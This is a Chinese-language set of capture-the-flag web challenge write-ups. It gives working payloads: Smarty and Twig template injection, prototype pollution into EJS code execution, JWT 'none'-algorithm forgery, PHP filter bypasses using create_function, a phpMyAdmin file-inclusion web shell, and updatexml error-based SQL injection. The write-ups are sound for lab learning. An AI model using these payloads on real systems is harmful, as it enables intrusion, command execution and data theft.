并且可能用到模板注入
果然有模板注入
而且使用的是 smarty
1 2 3 /flag.php?a =1 Client-IP: {$smarty .get.a}
1 Client -IP: {system ("nl /*" )}
得到flag
1 flag {d68f1f36-65 a9-4 ae0-9 e71-d7ed30e53ee9}
0x0e [BJDCTF2020]Cookie is so stable 扫一扫
看看 hint.php
看看 flag.php
试试看改 cookie ,发现是模板注入,是 twig
直接注入
1 {{_self.env.registerUndefinedFilterCallback ("shell_exec" )}} {{_self.env.getFilter ("nl /*" )}}
1 flag {a1ec5402-0901 -4 f1d-beb2-5 f58e59576cb}
0x0f [GYCTF2020]Ez_Express 先扫一扫
提示使用 admin 登录
有个 www.zip
下载来看看
看看 package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "name" : "web" , "version" : "0.0.0" , "private" : true , "scripts" : { "start" : "nodemon ./bin/www" } , "dependencies" : { "cookie-parser" : "~1.4.4" , "debug" : "~2.6.9" , "ejs" : "~2.6.1" , "express" : "~4.16.1" , "express-session" : "^1.17.0" , "http-errors" : "~1.6.3" , "lodash" : "^4.17.15" , "morgan" : "~1.9.1" , "randomatic" : "^3.1.1" } }
这些使用的模块,可能有漏洞可以利用
看看主模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 var createError = require ('http-errors' );var express = require ('express' );var path = require ('path' );var cookieParser = require ('cookie-parser' );var logger = require ('morgan' );const session = require ('express-session' )const randomize = require ('randomatic' )const bodyParser = require ('body-parser' )var indexRouter = require ('./routes/index' );var app = express ();app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.disable ('etag' ); app.use (bodyParser.urlencoded ({extended : true })).use (bodyParser.json ()) app.use (session ({ name : 'session' , secret : randomize ('aA0' , 16 ), resave : false , saveUninitialized : false })) app.use (logger ('dev' )); app.use (express.json ()); app.use (express.urlencoded ({ extended : false })); app.use (cookieParser ()); app.use (express.static (path.join (__dirname, 'public' ))); app.use ('/' , indexRouter); app.use (function (req, res, next ) { next (createError (404 )); }); app.use (function (err, req, res, next ) { res.locals .message = err.message ; res.locals .error = req.app .get ('env' ) === 'development' ? err : {}; res.status (err.status || 500 ); res.render ('error' ); }); module .exports = app;
好像没什么,有个 可以创造 session 的语句
1 2 3 4 5 6 app.use (session ({ name : 'session' , secret : randomize ('aA0' , 16 ), resave : false , saveUninitialized : false }))
不知道能不能用
看看 indexRouter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 var express = require ('express' );var router = express.Router ();const isObject = obj => obj && obj.constructor && obj.constructor === Object ;const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } function safeKeyword (keyword ) { if (keyword.match (/(admin)/i s)) { return keyword } return undefined } router.get ('/' , function (req, res ) { if (!req.session .user ){ res.redirect ('/login' ); } res.outputFunctionName =undefined ; res.render ('index' ,data={'user' :req.session .user .user }); }); router.get ('/login' , function (req, res ) { res.render ('login' ); }); router.post ('/login' , function (req, res ) { if (req.body .Submit =="register" ){ if (safeKeyword (req.body .userid )){ res.end ("<script>alert('forbid word');history.go(-1);</script>" ) } req.session .user ={ 'user' :req.body .userid .toUpperCase (), 'passwd' : req.body .pwd , 'isLogin' :false } res.redirect ('/' ); } else if (req.body .Submit =="login" ){ if (!req.session .user ){res.end ("<script>alert('register first');history.go(-1);</script>" )} if (req.session .user .user ==req.body .userid &&req.body .pwd ==req.session .user .passwd ){ req.session .user .isLogin =true ; } else { res.end ("<script>alert('error passwd');history.go(-1);</script>" ) } } res.redirect ('/' ); ; }); router.post ('/action' , function (req, res ) { if (req.session .user .user !="ADMIN" ){res.end ("<script>alert('ADMIN is asked');history.go(-1);</script>" )} req.session .user .data = clone (req.body ); res.end ("<script>alert('success');history.go(-1);</script>" ); }); router.get ('/info' , function (req, res ) { res.render ('index' ,data={'user' :res.outputFunctionName }); }) module .exports = router;
有个 merge 操作
1 2 3 4 5 6 7 8 9 10 const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a }
可能会利用原型链污染
register 的时候,会对 req.body.userid
进行安全检查
1 2 3 4 5 6 7 function safeKeyword (keyword ) { if (keyword.match (/(admin)/i s)) { return keyword } return undefined }
里面如果有 admin 好像就会被发觉,没问题的话,就在 req.session里面加一个
1 2 3 4 5 req.session .user ={ 'user' :req.body .userid .toUpperCase (), 'passwd' : req.body .pwd , 'isLogin' :false }
login 的时候
1 2 3 if (req.session .user .user ==req.body .userid &&req.body .pwd ==req.session .user .passwd ){ req.session .user .isLogin =true ; }
直接匹配 ,req.body.userid 和 req.body.pwd
有个 /action ,不过只有满足这个条件,才能访问
1 req.session .user .user =="ADMIN"
会调用
1 req.session .user .data = clone (req.body );
从而进行原型链污染
已知 nodejs 的 toUpperCase 有一个漏洞
1 "ı" .toUpperCase() = = > "I"
所以注册一个
然后就登录上了
然后就可以访问 /action,从而调用 clone 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const merge = (a, b ) => { for (var attr in b) { if (isObject (a[attr]) && isObject (b[attr])) { merge (a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge ({}, a); } req.session .user .data = clone (req.body );
访问 /info 的话,会对 index.ejs 进行渲染, res.outputFunctionName
将会填入其中
req.body 默认是 undefined ,看了看代码,用了 这个
1 app.use (express.json ());
因而 post data 要写成 json 的形式
抓个包,改一下
1 Content-Type : application/x-www-form -urlencoded
改成
1 Content-Type : application/json
ejs.js 有个 rce 漏洞
在 ejs.js 中,有类似这样的代码
1 2 fn = new Function ("escapeFn , include , rethrow" , src); return fn.apply ()
而其中的 src ,类似于这样
1 2 src = prepended +this .source + appended prepended = "var " +opts.outputFunctionName + "__append" + "sth" + opts.destructuredLocals [0 ] +opts.destructuredLocals [1 ] + opts.destructuredLocals [2 ] + 一直加到底 + "sth" +"with(" + opts.localsName
也就是说,可以通过改变 Object.prototype.outputFunctionName
来执行任意代码
1 ; return global .process .mainModule.require ("child_process" ).execSync("nl /*" ).toString();
写个脚本得到 ,要送上的 json
1 2 3 4 data = {"lua" :"hello" ,"Submit" :"" ,"__proto__" :{"outputFunctionName" :'a=0; return global.process.mainModule.require("child_process").execSync("nl /flag").toString(); //' }} import jsonprint (json.dumps(data))print (len (json.dumps(data)))
1 {"lua" : "hello" , "Submit" : "" , "__proto__" : {"outputFunctionName" : "a=0; return global.process.mainModule.require(\" child_process\" ).execSync(\" nl /flag\" ).toString(); //" }}
1 flag {fcf326c7-4480 -4 f47-a6c8-62926 f6cf394}
0x10 [HFCTF2020]EasyLogin 搜集一波信息
扫一扫目录
有 app.js ,有 package.json
看看前端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function login ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); const token = sessionStorage .getItem ("token" ); $.post ("/api/login" , {username, password, authorization :token}) .done (function (data ) { const {status} = data; if (status) { document .location = "/home" ; } }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); } function register ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); $.post ("/api/register" , {username, password}) .done (function (data ) { const { token } = data; sessionStorage .setItem ('token' , token); document .location = "/login" ; }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); } function logout ( ) { $.get ('/api/logout' ).done (function (data ) { const {status} = data; if (status) { document .location = '/login' ; } }); } function getflag ( ) { $.get ('/api/flag' ).done (function (data ) { const {flag} = data; $("#username" ).val (flag); }).fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }
调用getflag 函数,如果成功,就会把flag 赋值给 id 为 username 的元素
静态文件的直接放在根目录
Cookie 中看到
1 sses:aok=eyJ1 c2 VybmFtZSI6 bnVsbCwiX2 V4 cGlyZSI6 MTYxOTA1 NTgzOTc5 MSwiX21 heEFnZSI6 ODY0 MDAwMDB9
base64decode 一下,发现是
1 { "username" : null , "_expire" : 1619055839791 , "_maxAge" : 86400000 }
试试看更改 username,好像没什么用
1 2 3 4 /** * 或许该用 koa-static 来处理静态文件 * 路径该怎么配置?不管了先填个根目录XD */
搜了一下 koa-static 的用法
1 2 3 4 5 var Koa =require ('koa' );const static = require ('koa-static' )var app=new Koa ();app.use (static (__dirname+'/static' )); app.use (static (__dirname+'/assert' ));
向服务器发出请求后,该koa 中间件,会首先访问对应的文件,确定是否存在,如果不存在,则访问 static 函数指定的文件夹,在其中寻找文件
根据提示 估计用了这样的代码
1 app.use (static (__dirname));
扫一扫目录,确实发现了 app.js,打开看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 const Koa = require ('koa' );const bodyParser = require ('koa-bodyparser' );const session = require ('koa-session' );const static = require ('koa-static' );const views = require ('koa-views' );const crypto = require ('crypto' );const { resolve } = require ('path' );const rest = require ('./rest' );const controller = require ('./controller' );const PORT = 3000 ;const app = new Koa ();app.keys = [crypto.randomBytes (16 ).toString ('hex' )]; global .secrets = [];app.use (static (resolve (__dirname, '.' ))); app.use (views (resolve (__dirname, './views' ), { extension : 'pug' })); app.use (session ({key : 'sses:aok' , maxAge : 86400000 }, app)); app.use (bodyParser ()); app.use (rest.restify ()); app.use (controller ()); app.listen (PORT ); console .log (`app started at port ${PORT} ...` );
看看 rest.js 和 controller.js
controller.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const fs = require ('fs' );function addMapping (router, mapping ) { for (const url in mapping) { if (url.startsWith ('GET ' )) { const path = url.substring (4 ); router.get (path, mapping[url]); } else if (url.startsWith ('POST ' )) { const path = url.substring (5 ); router.post (path, mapping[url]); } else { console .log (`invalid URL: ${url} ` ); } } } function addControllers (router, dir ) { fs.readdirSync (__dirname + '/' + dir).filter (f => { return f.endsWith ('.js' ); }).forEach (f => { const mapping = require (__dirname + '/' + dir + '/' + f); addMapping (router, mapping); }); } module .exports = (dir ) => { const controllers_dir = dir || 'controllers' ; const router = require ('koa-router' )(); addControllers (router, controllers_dir); return router.routes (); };
rest.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 module .exports = { APIError : function (code, message ) { this .code = code || 'internal:unknown_error' ; this .message = message || '' ; }, restify : () => { const pathPrefix = '/api/' ; return async (ctx, next) => { if (ctx.request .path .startsWith (pathPrefix)) { ctx.rest = data => { ctx.response .type = 'application/json' ; ctx.response .body = data; }; try { await next (); } catch (e) { ctx.response .status = 400 ; ctx.response .type = 'application/json' ; ctx.response .body = { code : e.code || 'internal_error' , message : e.message || '' }; } } else { await next (); } }; } };
package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "name" : "untitled17" , "version" : "1.0.0" , "description" : "" , "main" : "app.js" , "scripts" : { "test" : "npm start" } , "dependencies" : { "jsonwebtoken" : "^8.5.1" , "koa" : "^2.11.0" , "koa-bodyparser" : "^4.2.1" , "koa-jwt" : "^3.6.0" , "koa-router" : "^7.4.0" , "koa-session" : "^5.12.3" , "koa-static" : "^5.0.0" , "koa-views" : "^6.2.1" , "pug" : "^2.0.4" } }
读了读 controllers.js ,判断应该存在一个 controllers 目录,下面是一堆 js
去扫描一下
1 2 [14:00:41] 200 - 2 KB - /controllers/api.js [14:00:46] 200 - 929 B - /controllers/view.js
下载来看看
api.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
view.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 module .exports = { 'GET /' : async (ctx, next) => { ctx.status = 302 ; ctx.redirect ('/home' ); }, 'GET /login' : async (ctx, next) => { if (ctx.session .username ) { ctx.status = 302 ; await ctx.redirect ('/home' ); } else { await ctx.render ('login' ); await next (); } }, 'GET /register' : async (ctx, next) => { if (ctx.session .username ) { ctx.status = 302 ; await ctx.redirect ('/home' ); } else { await ctx.render ('register' ); await next (); } }, 'GET /home' : async (ctx, next) => { if (!ctx.session .username ) { ctx.status = 302 ; await ctx.redirect ('/login' ); } else { await ctx.render ('home' , { username : ctx.session .username , }); await next (); } } };
读了读 api.js
发现login 竟然是用 jwt 来验证身份的
先从 header 得到 token,即 jwt ,然后 verify 一下,看看 jwt 格式是否正确,即 头部 与 head 和 signature 是否匹配
然后 从 jwt 从取出 username 和 password 与 post data 中的数据进行核对
现在就想着伪造 jwt ,但是如果伪造的jwt 用一些奇怪的加密算法,那就必须知道 secret ,否则 verify 这一步就过不去,但是如果 algorithm 用的 none ,那就能 verify 过去了,直接不用考虑 secret
因而直接伪造一个 admin 身份
还有一个 东西要绕过
1 2 3 4 const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ;if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); }
sid 不能为 空,而且要满足
1 sid < global .secrets .length && sid >= 0
因而 , sid 可以为 []
、0
、""
1 2 const secret = global .secrets [sid];const user = jwt.verify (token, secret, {algorithm : 'HS256' });
为了核实 alg : “none” 的 jwt ,必须是的 secret 为 undefined 或者 null,那么 sid 只能取 ""
或者 []
了
1 2 3 4 5 6 7 const jwt = require ('jsonwebtoken' );s = jwt.sign ({ secretid : "" , username : "admin" , password : "admin" , },"" ,{algorithm :"none" }); console .log (s);
1 eyJhbGciOiJub25 lIiwidHlwIjoiSldUIn0 .eyJzZWNyZXRpZCI6 IiIsInVzZXJuYW1 lIjoiYWRtaW4 iLCJwYXNzd29 yZCI6 ImFkbWluIiwiaWF0 IjoxNjE4 OTk0 ODM0 fQ.
直接 login 进去
1 username=admin &password =admin &authorization =eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluIiwiaWF0IjoxNjE4OTk0ODM0fQ.
登录完成,点击 getflag
1 flag {61884 feb-d96a-4441 -9 a57-0 fb9eec6883a}
0x11 [BJDCTF2020]EzPHP
可能是 base64 或者 base32
都试试看
base32 得到
访问看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file (__FILE__ );error_reporting (0 ); $file = "1nD3x.php" ;$shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$arg = '' ;$code = '' ;echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); } if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' ); if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } } if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" ); if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); } if (preg_match ('/^[a-z0-9]*$/isD' , $code ) || preg_match ('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i' , $arg ) ) { die ("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code ('' , $arg ); } ?>
php 代码审计
一个个绕过
1 2 3 4 5 6 if ($_SERVER ) { if ( preg_match ('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i' , $_SERVER ['QUERY_STRING' ]) ) die ('You seem to want to do something bad?' ); }
1 $_SERVER['QUERY_STRING' ]
返回 url 中 ? 后面的东西,不会做任何处理,即不会 urldecode
所以用 urlencode 来绕过
第二个
1 2 3 4 5 6 if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
很简单的,如果没有 /m ,则 ^ 和 $ 默认只对第一行,即 第一个 /n 前面的东西进行匹配 /^aqua_is_cute$/
的意思是,第一个 /n 之前的东西为 aqua_is_cute
下一个
1 2 3 4 5 6 if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
考虑 $_REQUEST 当中的内容
可以认为
1 $_REQUEST = $_POST + $_GET
$_POST 中的 key 优先存储
下一个
1 2 3 $file = $_GET ["file" ]; if (file_get_contents ($file ) !== 'debu_debu_aqua' ) die ("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );
下一个
1 2 3 4 5 6 if ( sha1 ($shana ) === sha1 ($passwd ) && $shana != $passwd ){ extract ($_GET ["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die ("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }
直接
最终
所以注意 $_GET[“flag”]
1 flag [code]=creat_function&flag [arg]=} print_r(get_defined_vars);
直接上
1 file =data://text/plain,debu_debu_aqua&debu =aqua_is_cute\n&shana []=1&passwd []=2&flag [code]=create_function&flag [arg]=};var_dump(get_defined_vars());//
urlencode
1 %66 %69 %6 c %65 = %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 a&%73 %68 %61 %6 e%61 []= %31 &%70 %61 %73 %73 %77 %64 []= %32 &%66 %6 c %61 %67 [%63 %6 f%64 %65 ]= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 [%61 %72 %67 ]= %7 d%3 b%76 %61 %72 %5 f%64 %75 %6 d%70 %28 %67 %65 %74 %5 f%64 %65 %66 %69 %6 e%65 %64 %5 f%76 %61 %72 %73 %28 %29 %29 %3 b%2 f%2 f
访问看看
看来要读 这个文件
把引号给拦截了,但是可以使用无需引号的函数
require
1 file =data://text/plain,debu_debu_aqua&debu =aqua_is_cute\n&shana []=1&passwd []=2&flag [code]=create_function&flag [arg]=};require([]);//
但是require 中的一些字符被拦截了
可以用 ~ 取反绕过
1 2 <?php echo urlencode (~"php://filter/read=convert.base64-encode/resource=rea1fl4g.php" );
1 % 8 F% 97 % 8 F% C5 % D0 % D0 % 99 % 96 % 93 % 8 B% 9 A% 8 D% D0 % 8 D% 9 A% 9 E% 9 B% C2 % 9 C% 90 % 91 % 89 % 9 A% 8 D% 8 B% D1 % 9 D% 9 E% 8 C% 9 A% C9 % CB% D2 % 9 A% 91 % 9 C% 90 % 9 B% 9 A% D0 % 8 D% 9 A% 8 C% 90 % 8 A% 8 D% 9 C% 9 A% C2 % 8 D% 9 A% 9 E% CE% 99 % 93 % CB% 98 % D1 % 8 F% 97 % 8 F
最终的payload
1 %66 %69 %6 c %65 = %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 a&%73 %68 %61 %6 e%61 []= %31 &%70 %61 %73 %73 %77 %64 []= %32 &%66 %6 c %61 %67 [%63 %6 f%64 %65 ]= %63 %72 %65 %61 %74 %65 %5 f%66 %75 %6 e%63 %74 %69 %6 f%6 e&%66 %6 c %61 %67 [%61 %72 %67 ]= %7 d%3 b%72 %65 %71 %75 %69 %72 %65 %28 ~%8 F%97 %8 F%C5 %D0 %D0 %99 %96 %93 %8 B%9 A%8 D%D0 %8 D%9 A%9 E%9 B%C2 %9 C%90 %91 %89 %9 A%8 D%8 B%D1 %9 D%9 E%8 C%9 A%C9 %CB %D2 %9 A%91 %9 C%90 %9 B%9 A%D0 %8 D%9 A%8 C%90 %8 A%8 D%9 C%9 A%C2 %8 D%9 A%9 E%CE %99 %93 %CB %98 %D1 %8 F%97 %8 F%29 %3 b%2 f%2 f
base64decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <html > <head > <meta charset ="utf-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" > <title > Real_Flag In Here!!!</title > </head > </html > <?php echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!" ; $f4ke_flag = "BJD{1am_a_fake_f41111g23333}" ; $rea1_f1114g = "flag{c50ea8db-07ef-4a97-beae-f6449293d723}" ; unset ($rea1_f1114g );
0x12 [GWCTF 2019]我有一个数据库 给了乱码,估计是编码出了问题
扫一扫吧
有个 phpinfo.php
1 2 session.save_path /var/ lib/php/ sessions /var/ lib/php/ sessions session.serialize_handler php php
看看 phpmyadmin
有个 cve
先来一波查询
1 SELECT " <?php eval ($_GET ['cmd' ]);?> "
看看 sessionid
1 co7 tib1 sbvd0 ilk9 hl314 u72 jj
对应的文件为
1 /var/ lib/php/ sessions/sess_co7tib1sbvd0ilk9hl314u72jj
包含看看
1 http:// 4 c3e7416-70 bd-49 d9-b082-f1d9fb7f8bd5.node3.buuoj.cn/phpmyadmin/ ?target=db_sql.php%253 f/../ ../../ ../../ ../../ ../var/ lib/php/ sessions/sess_co7tib1sbvd0ilk9hl314u72jj&cmd=phpinfo();
去找 flag
先看看 disable_functions
1 pcntl_alarm, pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals
1 http:// 4 c3e7416-70 bd-49 d9-b082-f1d9fb7f8bd5.node3.buuoj.cn/phpmyadmin/ ?target=db_sql.php%253 f/../ ../../ ../../ ../../ ../var/ lib/php/ sessions/sess_co7tib1sbvd0ilk9hl314u72jj&cmd=system('nl / *');
得到flag
1 flag{5f048a28-981c-4b42 -b349-c73c8f8e5dcd}
0x13 [RCTF2015]EasySQL 登录之后,能change password
大概率是 二次注入
登录和注册页面都fuzz 了一下,啥也没有
注册了一个 名为
的账户
最后在 change password 的时候报错了
可以推测,开始注册的时候,用了 insert 语句,admin\ 是经过 escape 之后被放到 sql 语句中的
而 change password 的时候,用到了 select 语句,大概如下
1 select * from user where username = $user and pwd = '...'
这个 $user 来自数据库,但是放到 select 语句当中的时候,忘记 escape,从而导致了报错
会报 systax error 所以用报错注入试试看
1 admin"||updatexml(1,concat(0x7e,user(),0x7e),1)#
果然可以,那就没什么问题了
fuzz 一下,拦截了这些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 !(<>) %0 A %0 a %0 c %0 d %20 %09 + < <> @ AND ANd BENCHMARK DELETE FLOOR INFILE INSERT LEFT LIKE Left LiKe ORD ORDER OUTFILE RLIKE SLEEp VARCHAR ` anandd and ascii benchmark char delete file floor handler hex insERT insert left like load_file mid ord order order outfile pg_sleep rand() right rlike sleep substr substring sys schemma
直接去找 flag
1 admin"||updatexml(1,concat(0x7e,(SELECT (group_concat(table_name))FROM (information_schema.tables)where (table_schema=database ()))),1 )#
1 admin"||updatexml(1,concat(0x7e,(SELECT (group_concat(column_name))FROM (information_schema.columns)where (table_name='flag' ))),1 )#
去看 flag 表的 flag 字段
1 admin"||updatexml(1,concat(0x7e,(SELECT (group_concat(flag))FROM (flag))),1 )#
1 XPATH syntax error : '~RCTF{Good job! But flag not her'
flag 看来不在这个表中
去找 flag
users 表的字段
1 admin"||updatexml(1,(SELECT (group_concat(column_name))FROM (information_schema.columns)where (table_name='users' )),1 )#
1 name, pwd,email,real_flag_1s_here
1 admin"||updatexml(1,concat(0x7e,(SELECT (group_concat(real_flag_1s_here))FROM (users)where ((real_flag_1s_here)regexp('\{' )))),1 )#
1 XPATH syntax error: '~flag{1579 a358-728 d-4009 -bf5a-1 e'
还有一部分没出来
1 admin"||updatexml(1,concat(0x7e,reverse((SELECT (group_concat(real_flag_1s_here))FROM (users)where ((real_flag_1s_here)regexp('\{' ))))),1 )#
1 XPATH syntax error: '~}e7630 cfb71e1-a5fb-9004 -d827-85'
1 '58-728d-4009 -bf5a-1e17bfc0367 e}~' : rorre xatnys HTAPX
因而得到 flag
1 flag {1579 a358-728 d-4009 -bf5a-1 e17bfc0367e}
0x14 [安洵杯 2019]easy_web 看看源码
还有个
url 有点东西
1 ?img =TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
两次 base64decode 后得到
竟然是一个图片名的 hex
可以试试看 任意文件读取
读取 index.php
1 TmprMlpUWTBOalUzT0 RKbE56 QTJPRGN3
得到 源码
